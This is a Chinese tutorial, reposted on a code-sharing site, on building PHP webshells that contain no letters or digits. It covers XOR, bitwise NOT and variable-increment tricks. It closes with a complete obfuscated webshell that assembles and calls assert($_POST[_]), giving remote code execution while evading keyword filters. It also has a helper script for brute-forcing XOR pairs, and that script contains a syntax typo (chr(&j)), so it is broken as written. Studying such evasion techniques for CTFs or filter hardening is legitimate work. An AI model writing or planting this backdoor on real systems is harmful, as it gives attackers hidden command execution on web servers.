ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

构造无字母数字Webshell

2020-11-08 20:00:45  阅读:298  来源: 互联网

标签:Webshell __ 自增 二进制 字母 构造 异或 https ascii


异或:

补充:
A的ascii为65,对应二进制是01000001
<?php
    echo "1"^"A";
?>

 

将“A”和“1”进行异或,结果为“p” 异或的过程就是讲字符转化为ascii,再变为二进制进行异或 “1”和“A”各自的ascii码的二进制进行异或得到一个新的二进制,再进行转码,最终变为”p“ 构造assert($_POST[_]);
<?PHP
     for($i = 0; $i < 256; $i++)
     {
         for($j=0; $j < 256;$j++)
         {
             if(chr($i^$j) == 'A')
             {
                 echo (urlencode(chr($i)) . " " . urlencode(chr(&j));
                 echo "\n";
             }
         }
     }  
?>
//第六行中的A可以根据需求自行改变

 

以此类推,可以得到webshell

取反:

利用UTF-8编码的某个汉字,将其中某个字符取出来

<?php
echo ~('和'{2});
?>
<?php
echo ~('安'{2});
?>
结果为

 

变量自增:

‘a'++ == 'b' 'c'++ == 'd' 不难发现,通过一个字符就可以根据ascii码得到a-z所有字符

<?PHP
echo (''.[]);
?>

数组Array的第一个字母是大写A,而第四个字母是小写a。 在php中,如果强制连接数组和字符串的话,数组将被转换成字符串,即Array   再例如

<?php
function B(){
    echo "xiao";
}
$_++;
$__= "?" ^ "}";
$__();
?>
结果为

$_++; 表示对_这个变量进行自增操作,在php中未定义的变量默认值为null,可以通过非数字进行自增操作得到一个数字 $__="?" ^ "}";表示对?和}进行异或运算,结果为B同时复制给$__ $__();函数调用

<?php
$_=[];
$_=@"$_";
$_=$_['!'=='@']; 
$___=$_; 
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; 
$___.=$__; 
$__=$_;
$__++;$__++;$__++;$__++; 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; 
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$_=$$____;
$___($_[_]); 
?>
View Code 如图

参考:

https://blog.csdn.net/a15803617402/article/details/83589181

https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

标签:Webshell,__,自增,二进制,字母,构造,异或,https,ascii
来源: https://www.cnblogs.com/3cH0-Nu1L/p/13945520.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有